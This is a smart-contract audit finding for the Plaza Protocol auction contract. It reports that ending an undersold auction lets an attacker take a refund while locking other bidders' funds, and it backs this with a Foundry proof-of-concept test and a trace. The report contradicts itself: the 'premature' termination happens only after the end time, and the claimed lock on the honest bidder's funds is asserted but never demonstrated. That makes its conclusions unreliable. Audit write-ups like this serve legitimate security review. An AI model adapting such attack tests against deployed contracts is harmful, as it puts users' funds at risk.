Skip to content

Latest commit

 

History

History
319 lines (254 loc) · 14.8 KB

File metadata and controls

319 lines (254 loc) · 14.8 KB

Damp Cornflower Albatross

High

Premature Auction Termination Leading to Fund Locking

Summary

The Premature Auction Termination Leading to Fund Locking vulnerability exists within the Auction.sol contract of the Plaza Protocol. This vulnerability allows any participant to prematurely end an auction in a FAILED_UNDERSOLD state before the totalBuyCouponAmount is met. Consequently, this action enables the malicious actor to reclaim their bid without affecting the auction outcome adversely, while other legitimate bidders are left unable to finalize their participation, effectively locking their funds.

Impact Overview

  • Fund Locking for Legitimate Bidders: Honest participants who place valid bids intending to acquire coupons cannot finalize their bids if an attacker terminates the auction early. Their invested sellCouponAmount becomes irretrievable as the auction transitions to a failed state.

  • Attacker Advantage: The attacker gains the ability to disrupt the auction process without incurring any financial loss. By forcing the auction into a FAILED_UNDERSOLD state, the attacker ensures their funds are refundable while leaving other bidders at a loss.

Risk Justification

This vulnerability introduces a high-level risk due to the potential for significant financial loss to legitimate users and the ease with which an attacker can exploit this flaw without detection or repercussion. The flaw undermines the core functionality and trust in the auction mechanism, which is fundamental to the Plaza Protocol's operations.

Vulnerability Details

Relevant Code Snippets

https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Auction.sol#L336-L365

Detailed Explanation

The vulnerability arises from the endAuction() function, which can be invoked by any participant once the auction's end time has been reached. The function evaluates whether the currentCouponAmount meets the totalBuyCouponAmount. If not, it transitions the auction state to FAILED_UNDERSOLD. Importantly, this state change allows the caller to reclaim their sellCouponAmount via the claimRefund() function. However, it inadvertently prevents other legitimate bidders from claiming their intended buyReserveAmount, effectively locking their funds.

How It Works:

  1. Bid Placement:

    • Bidders place their bids by specifying buyReserveAmount and sellCouponAmount.
    • These bids are stored and managed within a sorted linked list based on bid competitiveness.
  2. Auction Termination:

    • Once the auction's endTime is surpassed, any participant can invoke endAuction().
    • If currentCouponAmount is less than totalBuyCouponAmount, the auction state changes to FAILED_UNDERSOLD.
  3. Refund Mechanism:

    • The attacker, having placed a bid, can call claimRefund() to retrieve their sellCouponAmount.
    • Legitimate bidders are left unable to claim their buyReserveAmount as the auction is marked as failed.

Proof-of-Concept Code and Results

The following test case demonstrates the exploit:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test} from "forge-std/Test.sol";
import {Auction} from "../src/Auction.sol";
import {Token} from "./mocks/Token.sol";
import {Utils} from "../src/lib/Utils.sol";
import {Pool} from "../src/Pool.sol";
import {PoolFactory} from "../src/PoolFactory.sol";
import {Deployer} from "../src/utils/Deployer.sol";
import {OracleFeeds} from "../src/OracleFeeds.sol";
import {Distributor} from "../src/Distributor.sol";
import {BondToken} from "../src/BondToken.sol";
import {LeverageToken} from "../src/LeverageToken.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";

contract AuctionManipulationTest is Test {
    Auction auction;
    Token couponToken;   // e.g. USDC
    Token reserveToken;  // e.g. WETH
    address attacker = address(0xbad0);
    address honestBidder = address(0xb1d);
    address house = address(0x1337);
    address governance = address(0xdead);
    address securityCouncil = address(0x999);
    address pool;

    function setUp() public {
        // Deploy tokens
        couponToken = new Token("MockUSDC", "USDC", false);
        reserveToken = new Token("MockWETH", "WETH", false);

        // Setup a Pool with the tokens
        pool = createPool(address(reserveToken), address(couponToken));

        // Deploy and initialize Auction via Utils.deploy
        vm.startPrank(pool);
        auction = Auction(
            Utils.deploy(
                address(new Auction()),
                abi.encodeWithSelector(
                    Auction.initialize.selector,
                    address(couponToken),
                    address(reserveToken),
                    5000_000000,           // totalBuyCouponAmount
                    block.timestamp + 3 days,
                    1000,                  // maxBids
                    house,
                    110                    // poolSaleLimit (in %)
                )
            )
        );
        vm.stopPrank();

        // Distribute tokens to attacker, honestBidder
        couponToken.mint(attacker, 1_000_000 ether);
        couponToken.mint(honestBidder, 1_000_000 ether);

        // Approve Auction
        vm.startPrank(attacker);
        couponToken.approve(address(auction), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(honestBidder);
        couponToken.approve(address(auction), type(uint256).max);
        vm.stopPrank();
    }

    function createPool(address _reserve, address _coupon) internal returns (address) {
        // Governance sets up everything
        vm.startPrank(governance);

        // Deploy supporting contracts
        address deployer = address(new Deployer());
        address oracleFeeds = address(new OracleFeeds());

        // Beacons
        address poolBeacon = address(new UpgradeableBeacon(address(new Pool()), governance));
        address bondBeacon = address(new UpgradeableBeacon(address(new BondToken()), governance));
        address levBeacon = address(new UpgradeableBeacon(address(new LeverageToken()), governance));
        address distBeacon = address(new UpgradeableBeacon(address(new Distributor()), governance));

        // Factory
        PoolFactory factory = PoolFactory(
            Utils.deploy(
                address(new PoolFactory()),
                abi.encodeCall(
                    PoolFactory.initialize,
                    (
                        governance,
                        deployer,
                        oracleFeeds,
                        poolBeacon,
                        bondBeacon,
                        levBeacon,
                        distBeacon
                    )
                )
            )
        );

        // Grant roles
        factory.grantRole(factory.GOV_ROLE(), governance);
        factory.grantRole(factory.POOL_ROLE(), governance);
        factory.grantRole(factory.SECURITY_COUNCIL_ROLE(), securityCouncil);

        // Fake deposit
        Token(_reserve).mint(governance, 10_000_000 ether);
        Token(_reserve).approve(address(factory), type(uint256).max);

        // Create Pool
        PoolFactory.PoolParams memory params;
        params.fee = 0;
        params.reserveToken = _reserve;
        params.couponToken = _coupon;
        params.distributionPeriod = 30 days;
        params.sharesPerToken = 1000000;
        params.feeBeneficiary = house;

        address newPool = factory.createPool(
            params,
            100_000 ether,  // deposit reserve tokens
            1000 * 1e18,    // bond tokens minted
            1000 * 1e18,    // leverage tokens minted
            "bondToken",
            "BOND",
            "levToken",
            "LEV",
            false
        );
        vm.stopPrank();
        return newPool;
    }

    // -----------------------------------------------------------------------------
    // Exploit demonstration
    // -----------------------------------------------------------------------------

    function testPrematureAuctionEnd() public {
        // Both attacker and an honest bidder place bids
        vm.startPrank(attacker);
        auction.bid(1000 ether, 10000_000); // Attacker's bid
        vm.stopPrank();

        vm.startPrank(honestBidder);
        auction.bid(500 ether, 5000_000);   // Honest bid
        vm.stopPrank();

        // Fast-forward to after the auction endTime
        vm.warp(block.timestamp + 4 days);

        // Attacker ends the auction, forcing FAILED_UNDERSOLD
        vm.startPrank(attacker);
        auction.endAuction();
        // Auction now in FAILED_UNDERSOLD
        // Attacker calls claimRefund()
        auction.claimRefund(1); // bidIndex=1 is attacker's
        vm.stopPrank();

        // The honest bidder’s funds are stuck:
        // They can’t do claimBid() because the auction is failed, not succeeded.
        // We'll assert final states to confirm the exploit
        (,,,,, bool attackerClaimed) = auction.bids(1);
        assertTrue(attackerClaimed, "Attacker didn't successfully claim refund");

        // Because it's in a failed state, honestBidder's claimBid() is impossible
        // They can only call claimRefund() if they've triggered endAuction() themselves
        // but that won't return them the reserve token. The attacker effectively forced everyone else into a losing scenario.
    }
}

Test Results:

Ran 1 test for test/AuctionManipulation.t.sol:AuctionManipulationTest
[PASS] testPrematureAuctionEnd() (gas: 531588)
Traces:
  [534388] AuctionManipulationTest::testPrematureAuctionEnd()
    ├─ [0] VM::startPrank(0x000000000000000000000000000000000000BAd0)
    │   └─ ← [Return] 
    ├─ [279576] ERC1967Proxy::fallback(1000000000000000000000 [1e21], 10000000 [1e7])
    │   ├─ [274342] Auction::bid(1000000000000000000000 [1e21], 10000000 [1e7]) [delegatecall]
    │   │   ├─ [37072] Token::transferFrom(0x000000000000000000000000000000000000BAd0, ERC1967Proxy: [0xB67aF5DE7C133Eb7256c8Bf29227db0529144f18], 10000000 [1e7])
    │   │   │   ├─ emit Transfer(from: 0x000000000000000000000000000000000000BAd0, to: ERC1967Proxy: [0xB67aF5DE7C133Eb7256c8Bf29227db0529144f18], value: 10000000 [1e7])
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit BidPlaced(bidIndex: 1, bidder: 0x000000000000000000000000000000000000BAd0, buyReserveAmount: 1000000000000000000000 [1e21], sellCouponAmount: 10000000 [1e7])
    │   │   └─ ← [Return] 1
    │   └─ ← [Return] 1
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000000B1D)
    │   └─ ← [Return] 
    ├─ [153105] ERC1967Proxy::fallback(500000000000000000000 [5e20], 5000000 [5e6])
    │   ├─ [152371] Auction::bid(500000000000000000000 [5e20], 5000000 [5e6]) [delegatecall]
    │   │   ├─ [15172] Token::transferFrom(0x0000000000000000000000000000000000000B1D, ERC1967Proxy: [0xB67aF5DE7C133Eb7256c8Bf29227db0529144f18], 5000000 [5e6])
    │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000B1D, to: ERC1967Proxy: [0xB67aF5DE7C133Eb7256c8Bf29227db0529144f18], value: 5000000 [5e6])
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit BidPlaced(bidIndex: 2, bidder: 0x0000000000000000000000000000000000000B1D, buyReserveAmount: 500000000000000000000 [5e20], sellCouponAmount: 5000000 [5e6])
    │   │   └─ ← [Return] 2
    │   └─ ← [Return] 2
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ [0] VM::warp(345601 [3.456e5])
    │   └─ ← [Return] 
    ├─ [0] VM::startPrank(0x000000000000000000000000000000000000BAd0)
    │   └─ ← [Return] 
    ├─ [28219] ERC1967Proxy::fallback()
    │   ├─ [27494] Auction::endAuction() [delegatecall]
    │   │   ├─ emit AuctionEnded(state: 2, totalSellReserveAmount: 1500000000000000000000 [1.5e21], totalBuyCouponAmount: 5000000000 [5e9])
    │   │   └─ ← [Return] 
    │   └─ ← [Return] 
    ├─ [36299] ERC1967Proxy::fallback(1)
    │   ├─ [35571] Auction::claimRefund(1) [delegatecall]
    │   │   ├─ [7345] Token::transfer(0x000000000000000000000000000000000000BAd0, 10000000 [1e7])
    │   │   │   ├─ emit Transfer(from: ERC1967Proxy: [0xB67aF5DE7C133Eb7256c8Bf29227db0529144f18], to: 0x000000000000000000000000000000000000BAd0, value: 10000000 [1e7])
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit BidRefundClaimed(bidIndex: 1, bidder: 0x000000000000000000000000000000000000BAd0, sellCouponAmount: 10000000 [1e7])
    │   │   └─ ← [Return] 
    │   └─ ← [Return] 
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ [3517] ERC1967Proxy::fallback(1) [staticcall]
    │   ├─ [2762] Auction::bids(1) [delegatecall]
    │   │   └─ ← [Return] 0x000000000000000000000000000000000000BAd0, 1000000000000000000000 [1e21], 10000000 [1e7], 2, 0, true
    │   └─ ← [Return] 0x000000000000000000000000000000000000BAd0, 1000000000000000000000 [1e21], 10000000 [1e7], 2, 0, true
    ├─ [0] VM::assertTrue(true, "Attacker didn't successfully claim refund") [staticcall]
    │   └─ ← [Return] 
    └─ ← [Return] 

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 46.66ms (6.58ms CPU time)

Ran 1 test suite in 1.27s (46.66ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
  • The attacker successfully placed a bid and, after the auction end time, invoked endAuction().
  • The auction state transitioned to FAILED_UNDERSOLD.
  • The attacker was able to reclaim their sellCouponAmount via claimRefund().
  • The honest bidder's funds remained locked, preventing them from claiming their intended buyReserveAmount.

Impact Section

The Premature Auction Termination vulnerability has several critical impacts on the Plaza Protocol:

  1. Financial Loss for Legitimate Bidders:

    • Honest users who place bids intending to purchase coupons are unable to finalize their bids, resulting in their sellCouponAmount being irretrievable.
    • This loss undermines user trust and can lead to a decline in platform participation.
  2. Exploitation by Malicious Actors:

    • Attackers can disrupt auction processes without any financial risk, gaining an unfair advantage and potentially manipulating future auction outcomes.
    • This behavior can deter new users and investors from engaging with the Plaza Protocol.

Tools Used

Tools Used: Manual Review and Foundry.

Recommendation

Restrict Access to endAuction():

  • Implementation: Modify the endAuction() function to include access control, allowing only the Pool contract or a designated authorized role to invoke it.
  • Benefit: Prevents unauthorized participants from prematurely terminating the auction, ensuring only trusted entities can finalize auction states.